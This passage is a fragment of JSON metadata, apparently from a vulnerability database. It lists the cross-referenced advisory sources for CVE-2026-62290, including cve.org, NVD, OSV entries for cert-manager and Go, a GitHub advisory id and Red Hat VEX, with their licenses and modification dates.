,"source_id":"CVE-2026-62290","url":"https://www.cve.org/CVERecord?id=CVE-2026-62290","license":"CC-BY-4.0","modified_at":"2026-07-18T03:10:55.978Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-62290","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290","relation":"self"},{"provider":"osv","source_id":"BIT-cert-manager-2026-62290","url":"https://osv.dev/vulnerability/BIT-cert-manager-2026-62290","license":"Apache-2.0","modified_at":"2026-11-05T23:25:44.048366Z","relation":"self"},{"provider":"osv","source_id":"DHI-heii-miix-gola-xi57","url":"https://osv.dev/vulnerability/DHI-heii-miix-gola-xi57","license":"Apache-2.0","modified_at":"2026-11-20T18:45:04.830843Z","relation":"self"},{"provider":"osv","source_id":"GHSA-8rvj-mm4h-c258","url":"https://osv.dev/vulnerability/GHSA-8rvj-mm4h-c258","license":"CC-BY-4.0","modified_at":"2026-11-05T23:25:44.048366Z","relation":"self"},{"provider":"osv","source_id":"GO-2026-6889","url":"https://osv.dev/vulnerability/GO-2026-6889","license":"CC-BY-4.0","modified_at":"2026-11-05T23:25:44.048366Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-62290","url":"https://access.redhat.com/security/cve/CVE-2026-62290","license":"CC-BY-4.0","modified_at":"2026-11-13T10:35:37Z","relation":"self"}]}
